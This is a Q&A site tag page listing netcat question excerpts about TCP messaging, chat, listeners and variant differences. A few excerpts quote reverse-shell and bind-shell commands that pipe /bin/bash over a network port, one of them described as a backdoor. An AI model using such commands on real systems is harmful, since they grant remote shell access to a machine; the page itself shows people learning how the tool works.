Skip to main content

Questions tagged [netcat]

(or `nc`), a utility that is used for just about anything involving TCP, UDP, or UNIX-domain sockets. It can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports, do port scanning.

Filter by
Sorted by
Tagged with
62 votes
2 answers
302k views

Sending a simple TCP message using Netcat

I am trying to use netcat to send a simple message over TCP, e.g. I want to send the digit 1. So I understood that I write the following in the terminal, after installing netcat netcat [ip-address] [...
Mohamed Khamis's user avatar
52 votes
2 answers
37k views

What are the differences between netcat-traditional and netcat-openbsd?

What (if any) are the significant differences between netcat-traditional and netcat-openbsd? I'm having trouble finding any relative information. Anybody familiar that can offer some insight?
parsecpython's user avatar
29 votes
2 answers
22k views

How to build a simple chat using netcat?

I am currently working on a project and I have implemented a simple chat application using the netcat libraries. The client is prompted to enter port number and the command nc -l -p xxxx where xxxx ...
Sachin S Kamath's user avatar
9 votes
1 answer
5k views

How does this command work? (reverse shell)

There was a simple way to connect two systems and getting a shell using nc command as below. Machine A to listen nc -nlvp 4444 Machine B to connect nc 192.168.4.4 4444 -e /bin/bash However, the -e ...
Gowtham's user avatar
  • 311
7 votes
2 answers
14k views

How can I select default version of Netcat in ubuntu

When I checked netcat -h I found out that the -e and Version option is missing from my netcat. I use Ubuntu 15.10. After searching from forums I found out a way to know the version installed and the ...
Harshit Garg's user avatar
7 votes
3 answers
12k views

Is it possible to encrypt the communications via netcat?

I know that its possible to chat in linux terminal using netcat. I want to know whether it is possible to encrypt the netcat communications. I did chat by listening on PC-1 nc -l 1234 And ...
Anonymous Platypus's user avatar
5 votes
2 answers
2k views

Secure Chat Tunnel

I Want to Create a Secure Chat connection and tunnel through Ubuntu terminal or something like netcat (nc -l 1234) but netcat is not encrypted.
bx758's user avatar
  • 97
4 votes
2 answers
23k views

STDOUT and STDERR redirection for nc

I am trying to make a watchdog bash script which has to check if the port is open, based on the exit status, otherwise should start the daemon. Problem is I can't manage to avoid the script outputting ...
Ricardo Beschieru's user avatar
4 votes
1 answer
8k views

Trying to test a service is up using nc command

I'm trying to test if a service is up and running using nc. echo ruok | nc 127.0.0.1 5111 But I get this response: This is nc from the netcat-openbsd package. An alternative nc is available in the ...
Blankman's user avatar
  • 8,345
3 votes
2 answers
14k views

BASH: Read lines from netcat connection

I have a simple script which reads some lines from a connection initialized using netcat. A client can transmit some "commands". If the client write "exit" I like to close the connection. BUT: After ...
ErWu's user avatar
  • 133
3 votes
0 answers
3k views

Why is netcat remote shell not returning any output on ubuntu 12.04?

I'm connecting to a server I have on my laptop, both are on the same vmnet and both systems are Ubuntu 12.04 LTS. In order to connect I use reverse shell from the web sever. First I start listening ...
Giladiald's user avatar
  • 239
2 votes
1 answer
17k views

How to kill nc -k -l without restart?

I have a script running behind the screen which has a command nc -k -l 12345. Is there any workarounds I could kill this daemon without restarting the machine? Ubuntu 14.04
Anonymous Platypus's user avatar
2 votes
1 answer
445 views

What's wrong with my use of the netcat command?

I can run this netcat command to listen to ports only when I'm listing a single port, for example: sudo ncat -lp 80 -w 10 However when I attempt to enter multiple port numbers it says the port number ...
Samir Fink's user avatar
2 votes
1 answer
1k views

run netcat on crontab

I have 2 systems 1: 192.168.0.31 2: 192.168.0.32 From system 1 terminal I executed below command tar -zcf - test | pv | nc -l -p 5555 -q 5 From system 2 terminal I executed below command nc 192....
shaji's user avatar
  • 51
2 votes
1 answer
4k views

Redirect output and save to remote server?

Is it at all possible to redirect some stdout and have the data saved to a file on a remote server? Below is a terrible example the definitely don't work... sudo tcpdump ... 2>&1 | ssh ... ...
Laura's user avatar
  • 211
2 votes
1 answer
39k views

connect via netcat and send messages in bash script [duplicate]

When I am writing a bash script like the following: #!/bin/bash nc localhost [pseudoport] echo "test" it connects to the server but does not send the text "test". It works with #!/bin/bash echo ...
OcK's user avatar
  • 115
2 votes
1 answer
3k views

Bash script that opens multiple netcat instances and exits them

I am trying to create a script that opens up multiple gnome-terminals and opens a netcat connection. After a couple seconds I would like the terminals to close. I am at a loss and I believe it can't ...
Pegleg's user avatar
  • 23
1 vote
1 answer
891 views

How to select netcat-traditional in Ubuntu in a Dockerfile

I want to use netcat-traditional in Ubuntu but configure this in a Dockerfile, so obviously I cannot use the helpful command prompt triggered when running sudo update-alternatives --config nc How do ...
esilver's user avatar
  • 133
1 vote
2 answers
192 views

seq with timer to netcat

I want to output sequential numbers every 100 ms into nc -lk. seq 1 100 | nc -lk 9999 does output the numbers to nc but it doesn't have the timer. Is there any way to do it using seq and sleep?
aol's user avatar
  • 123
1 vote
1 answer
996 views

Weird netcat (OpenBSD version) behavior

I am using Ubuntu server 16.04.3, it comes with the OpenBSD version of netcat. I have used the OpenBSD version of netcat before in Fedora, and in Fedora I can't use the -p option with the -l option, ...
mahmoud_t1's user avatar
1 vote
0 answers
62 views

How to make ports listening with the ncat command in a script since i always times out?

This is the script opening multiple ports. However without me doing a single thing it times out after a while. How can i make the scripts stay open indefinitely or atleast for a long time. Would ...
Samir Fink's user avatar
1 vote
0 answers
207 views

Connecting to tcp client programs (sockets) together using netcat

I have some device which is on the network layer acting as TCP client. And I have some programm on the remote host (debian machine) which is acting simililary as a TCP client on the network layer. How ...
Andy's user avatar
  • 111
1 vote
0 answers
950 views

Netcat not working on linux server running VPN

Due to our very remote location and budget restraints my internet connection is limited to cellular 3G / EDGE. The service provider does not have an option for supplying me with a public IP, so we ...
heinburgh's user avatar
1 vote
2 answers
2k views

How to configure a wireshark remote capture?

I have 2 machine M1 and M2 running on Debian 8.0 located in 2 remote network N1 and N2 M1 is capturing packets continuousl in N1 and has a known static IP. M2 is accessing the capture remotely from ...
user123456's user avatar
  • 2,408
1 vote
0 answers
202 views

nc command: conflict between different Ubuntu machines

I am using Ubuntu 14.04. Then I have an Ubuntu 12.04 machine running on virtualbox. On the virtual box machine I listened on port 12345 using the command nc -l 12345 And on the host machine, I ...
Anonymous Platypus's user avatar
0 votes
2 answers
2k views

Confusion about nc -l and nc -lp

In the manpage for nc -l, it says: It is an error to use this option in conjunction with the -p, -s, or -z options. But most examples I see online using this command use nc -lp [port]. Can you use -p ...
paperangel220's user avatar
0 votes
1 answer
76 views

What is an efficient way to listen on all ports?

I have a requirement that all ports 1-65535 are open however i don't have access to the network and so my workaround before this i.e. opening port 22 (and a few others) involved opening ports on vpn ...
Samir Fink's user avatar
0 votes
1 answer
76 views

I can't find my public interfaces

I need to port forward my Ubuntu 22.04 desktop, so I can establish remote shell between my home desktop and my portatil; which should be with this topology: ip public:8443 => ip private ip:8443. ...
user avatar
0 votes
1 answer
127 views

Communication between two netcats

Guys why is this happening: I launch this on one console nc -l 5000 -e /bin/bash And this on another one on the same pc nc localhost 5000 But it shows connection refused! Why is this happening and ...
ElementX's user avatar
0 votes
1 answer
371 views

Unable to connect to computer from outside LAN

I opened two terminal windows, and typed nc -vv -lp 9999 in the first one andnc -vv $(dig +short myip.opendns.com @resolver1.opendns.com) 9999 in the second. However, the two netcats didn't connect, ...
Mint Lover's user avatar
0 votes
1 answer
5k views

How to port forward my ubuntu 22.04 using iptables

Do you know how to gives iptables rules to my machine in order to allow trafic from my public interfaces(wlp3s0) to my private interfaces(lo). Kinda with this topology: 192.168.1.1:80 => 127.0.0.1:...
user avatar
0 votes
3 answers
2k views

How to create a bash listener with netcat in Ubuntu?

In a lot of basic security tutorials and materials I see netcat used to open a listener / backdoor shell. On port 666 for example: netcat -l -p 1666 -e /bin/bash/ How to do this in Ubuntu? When I try ...
Brian Z's user avatar
  • 673
0 votes
1 answer
2k views

How do I create a TCP listener with netcat and put it in the background?

I’m using nc -l to create a listener socket, but then it just.....listens.....and I can’t issue any further commands. How do I put it in the background so I can maintain the listener and keep ...
GreatWhiteSlark's user avatar
0 votes
1 answer
605 views

netcat is unable to establish communication [closed]

I followed the standard procedure to connect via an access port, based on the following commands: nc -l -pxxxx nc <ip address> -pxxxx However when I enter the second command on another ...
Alireza Azimi's user avatar
0 votes
1 answer
319 views

How do I send files with netcat using find?

I am trying to send a large number of json files via netcat, but I can't seem to get the find -exec combination right. I am in the directory with the json files and have tried the following: find -...
lucasvw's user avatar
  • 111
0 votes
1 answer
3k views

shell script test a telnet connection

I'm Trying to make a scipt that checks if my own specific port is open and can be connected. I tried doing it by netcat by nc -vz localhost 25565 but this only tells me if the port is open. I need ...
arthur's user avatar
  • 39
0 votes
1 answer
4k views

how to connect multiple clients on server

nc -l -vv -p 7795 This is the command for listen the port But i can connect only one client by using(nc localhost 7795) to the port,tell me how to connect multiple client to the port 7795
zapoxkrishna's user avatar
0 votes
1 answer
3k views

How to send only data (ignore receiving) with nc command (equivalent to --send-only option on redhat)?

I am using command "echo "TEST" | nc localhost 1234 --send-only" on Redhat version to Only send data and ignoring received. I could not find --send-only equivalent option for nc command on ubuntu.
Shivam's user avatar
  • 1
0 votes
0 answers
20 views

netcat showing no response

I'm trying to trouble shoot why i could'nt mount my NAS to my coding envionment. I try netcat command to check port 445: nc my_NAS_IP 445 and the command shows no response Anyone has an idea of what's ...
Ret3i's user avatar
  • 13
0 votes
0 answers
23 views

LAN network with just two computer: All ports time out, except port 50002, which refuses connection. Why?

Preface and Context: I am currently troubleshooting the ROS2/LAN based connection of my UR5 CB3 robotic arm with the Ubunut 22 control comupter and the respective driver. This robotic arm seems to ...
Padit's user avatar
  • 19
0 votes
0 answers
254 views

`nc` (netcat) hangs indefinitely when reading from initially empty named pipe

I start an nc server like this: nc -lk -p 12345 -s localhost < <named_pipe> and an nc client with: nc localhost 12345 When I run the command and the pipe is empty, nc hangs, which is what I ...
farhanhubble's user avatar
0 votes
0 answers
21 views

how to change dependencies? [duplicate]

I am trying to host a game server and it holds Netcat as a missing dependency despite having netcat-traditional. Is there a way to change the dependency to see and use the traditional variant?
santa20191 santa20191's user avatar
0 votes
1 answer
2k views

HTTP request host header using netcat (nc)

How to use netcat (nc) to set host header in a HTTP request?
Tridib Bar Tincalle's user avatar
0 votes
0 answers
57 views

Netcat files transfer over a private backend 10G network [duplicate]

I have a bunch of machines on Ubuntu 20.04 as well as a storage server on Ubuntu 20.04. I'm looking to transfer quickly files of 100 Gb+ to the storage server with Netcat. I would like to be able to ...
OlivierLA75's user avatar
0 votes
2 answers
513 views

How do I debug a failed cron job involving netcat?

The idea of using crontab to schedule netcat commands on two machines was brought up in this question, but the respondents all rebuked the asker and pivoted to talking about scp instead. Assuming I am ...
kjekk's user avatar
  • 13
0 votes
1 answer
603 views

Weird text displayed after using netcat to connect with remote server

This question might be stupid but I have a small problem which I can't resolve. I used netcat to connect to a CTF server and while connecting, I had opened many Ubuntu windows. This is when a line of ...
CPS_001's user avatar
0 votes
0 answers
360 views

Netcat -z does not return if host not found

I'm using Ubuntu 16.04.6 LTS. I'm trying to detect that a cable is connected to a camera serving an rtsp stream. My script is invoking nc -zv 10.0.0.3 554 and testing the return value (or stderr) ...
WiringHarness's user avatar
0 votes
0 answers
760 views

Sending a custom TCP packet

I am building a program that extracts transport layer data from packets, I want to test it but I couldn't find a way to specify TCP flags using netcat. Is there a tool that does this for Linux, or is ...
Eloo's user avatar
  • 141
0 votes
1 answer
2k views

I can no longer install netcat6 for IPv6 support

I am trying to install netcat 6 to deal with ipv6. However, for some reason I can't install it. I tried to upgrade by sudo apt-get --only-upgrade install netcat That didn't work. I tried to install it ...
Ryan's user avatar
  • 3
0 votes
0 answers
788 views

netcat chat client over the internet

I want to be able to use net cat for a chat client but I can only figure out how to do it over local network. For what I want to do I need to be able to let people connect over the internet. Say I am ...
Rolio Games's user avatar